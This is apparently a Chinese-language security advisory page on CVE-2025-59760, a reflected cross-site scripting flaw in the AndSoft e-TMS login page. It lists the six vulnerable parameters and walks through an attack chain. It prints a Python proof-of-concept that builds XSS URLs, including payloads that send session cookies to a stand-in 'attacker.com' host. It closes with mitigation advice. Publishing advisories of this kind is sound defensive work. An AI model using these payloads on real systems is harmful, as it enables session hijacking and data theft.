IPBUF安全漏洞报告
English
CVE-2025-59760 CVSS 6.1 中危

CVE-2025-59760:AndSoft e-TMS反射型XSS漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59760
漏洞类型
反射型跨站脚本(Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AndSoft e-TMS

相关标签

XSS反射型XSS跨站脚本AndSofte-TMSCVE-2025-59760运输管理系统Web漏洞INCIBE中危漏洞

漏洞概述

CVE-2025-59760是AndSoft公司开发的e-TMS(运输管理系统)v25.03版本中存在的一个反射型跨站脚本(XSS)漏洞。该漏洞于2025年10月2日由西班牙国家网络安全研究所(INCIBE)披露,CVSS 3.1评分为6.1分,属于中危级别。

e-TMS是AndSoft公司推出的一款广泛应用于物流和运输行业的运输管理系统,用于管理运输订单、车辆调度、物流跟踪等业务。该系统在企业供应链管理中扮演重要角色,因此其安全性直接关系到企业业务数据的保密性和完整性。

该漏洞存在于e-TMS的登录页面(/clt/LOGINFRM_DHL.ASP)中,具体涉及'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'和'SuppConn'等多个参数。攻击者可以通过构造包含恶意JavaScript代码的URL,诱使受害者点击该链接,从而在受害者的浏览器中执行任意JavaScript代码。由于该漏洞为反射型XSS,需要用户交互才能触发,攻击者通常需要通过钓鱼邮件、即时消息或其他社交工程手段诱导用户访问恶意链接。

成功利用此漏洞后,攻击者可以在受害者的浏览器上下文中执行任意脚本,可能导致会话劫持、敏感信息窃取、钓鱼攻击进一步升级,或在特定情况下利用受害者的权限执行未授权操作。尽管该漏洞的CVSS评分显示其对系统机密性和完整性影响为低,但考虑到e-TMS系统通常处理敏感的物流和运输数据,其潜在风险不容忽视。

技术细节

该漏洞是一个典型的反射型跨站脚本(Reflected XSS)漏洞,其根本原因在于e-TMS v25.03的登录页面(/clt/LOGINFRM_DHL.ASP)对用户输入的参数缺乏充分的过滤和转义处理。

技术原理:
1. 漏洞存在于路径'/clt/LOGINFRM_DHL.ASP'中,该页面是DHL集成的登录表单页面。
2. 涉及的易受攻击参数包括:'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'和'SuppConn'。
3. 当用户访问包含恶意构造参数的URL时,服务器将这些参数的值未经适当的HTML编码或JavaScript转义处理,直接反射回响应页面中。
4. 攻击者可以在这些参数中注入恶意的JavaScript代码,例如:<script>alert(document.cookie)</script> 或更复杂的payload如 <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>。

利用方式:
1. 攻击者首先构造一个包含恶意JavaScript代码的特制URL,目标参数为上述六个参数之一。
2. 攻击者通过钓鱼邮件、社交媒体或其他方式将恶意URL发送给目标用户。
3. 受害者点击该链接后,浏览器向e-TMS服务器发起请求,服务器将恶意代码作为响应的一部分返回。
4. 浏览器解析响应时,执行了嵌入在页面中的恶意JavaScript代码。
5. 恶意代码在受害者的浏览器上下文中执行,可以窃取会话cookie、重定向用户到钓鱼页面、修改页面内容或执行其他恶意操作。

由于漏洞利用无需认证(PR:N),但需要用户交互(UI:R),且影响范围为变更(Scope Changed),表明该漏洞可能影响到浏览器安全上下文之外的组件或资源。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者通过搜索引擎Shodan、Censys或直接扫描,识别出运行AndSoft e-TMS v25.03的目标服务器,并确认其登录页面/clt/LOGINFRM_DHL.ASP可访问。
STEP 2
步骤2:漏洞探测与验证
攻击者向目标URL的六个易受攻击参数(l、demo、demo2、TNTLOGIN、UO、SuppConn)中注入简单的XSS测试payload(如<script>alert(1)</script>),通过检查响应内容是否原样返回payload来确认漏洞存在。
STEP 3
步骤3:恶意URL构造
确认漏洞后,攻击者构造包含恶意JavaScript代码的特制URL。Payload可能包括会话cookie窃取、键盘记录、钓鱼页面重定向或恶意软件下载等功能。
STEP 4
步骤4:社会工程攻击分发
攻击者通过钓鱼邮件、即时消息、社交媒体或伪造的网站链接等方式,将恶意URL分发给e-TMS系统的合法用户。需要用户主动点击链接才能触发漏洞利用。
STEP 5
步骤5:受害者点击恶意链接
受害者在已登录e-TMS系统的情况下点击恶意链接,浏览器向服务器发送请求,服务器将恶意脚本作为响应内容返回并由浏览器执行。
STEP 6
步骤6:恶意代码执行与数据窃取
恶意JavaScript在受害者浏览器上下文中执行,窃取会话cookie、敏感业务数据,或以受害者身份执行未授权操作。攻击者利用窃取的会话信息进一步访问系统内部资源。
STEP 7
步骤7:权限提升与持久化
利用窃取的凭据或会话,攻击者可能进一步渗透系统,获取更高权限,植入后门或进行横向移动,对企业物流和运输数据造成持续性威胁。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59760 - AndSoft e-TMS Reflected XSS PoC # Vulnerable endpoint: /clt/LOGINFRM_DHL.ASP # Vulnerable parameters: l, demo, demo2, TNTLOGIN, UO, SuppConn import requests TARGET_URL = "https://target.example.com" VULNERABLE_ENDPOINT = "/clt/LOGINFRM_DHL.ASP" # PoC 1: Basic XSS using <script> tag via 'l' parameter def poc_script_tag(): payload = "<script>alert('XSS-CVE-2025-59760')</script>" url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}?l={payload}" print(f"[+] PoC URL (script tag via 'l' param): {url}") return url # PoC 2: XSS using img onerror handler via 'demo' parameter def poc_img_onerror(): payload = "<img src=x onerror=alert('XSS-via-demo')>" url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}?demo={payload}" print(f"[+] PoC URL (img onerror via 'demo' param): {url}") return url # PoC 3: XSS via 'TNTLOGIN' parameter with cookie exfiltration def poc_cookie_steal(): # Note: Replace 'attacker.com' with actual attacker-controlled server payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}?TNTLOGIN={payload}" print(f"[+] PoC URL (cookie steal via 'TNTLOGIN' param): {url}") return url # PoC 4: XSS via 'UO' parameter using event handler def poc_event_handler(): payload = "\" onmouseover=alert('XSS-UO') \"" url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}?UO={payload}" print(f"[+] PoC URL (event handler via 'UO' param): {url}") return url # PoC 5: XSS via 'SuppConn' parameter def poc_suppconn(): payload = "<svg onload=alert('XSS-SuppConn')>" url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}?SuppConn={payload}" print(f"[+] PoC URL (svg onload via 'SuppConn' param): {url}") return url # Verify vulnerability by sending request and checking reflection def verify_xss(target_url, param_name, payload): test_url = f"{target_url}{VULNERABLE_ENDPOINT}?{param_name}={payload}" try: response = requests.get(test_url, timeout=10, verify=False) if payload in response.text: print(f"[VULNERABLE] Payload reflected in response for parameter '{param_name}'") return True else: print(f"[NOT VULNERABLE] Payload not reflected for parameter '{param_name}'") return False except Exception as e: print(f"[ERROR] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-59760 - AndSoft e-TMS Reflected XSS PoC") print("=" * 60) poc_script_tag() poc_img_onerror() poc_cookie_steal() poc_event_handler() poc_suppconn() print("\n[!] WARNING: Use only for authorized security testing.")

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署针对/clt/LOGINFRM_DHL.ASP页面的XSS防护规则,过滤常见XSS payload;2)在HTTP响应头中配置Content-Security-Policy(CSP),限制内联脚本执行;3)为所有会话cookie设置HTTPOnly属性,防止JavaScript窃取;4)加强用户安全意识培训,提醒员工不要点击来源不明的链接,特别是涉及e-TMS系统的URL;5)监控异常的URL请求模式,特别是包含<script>、onerror、onload等关键字的请求;6)考虑对登录页面实施访问控制或临时限制外部访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表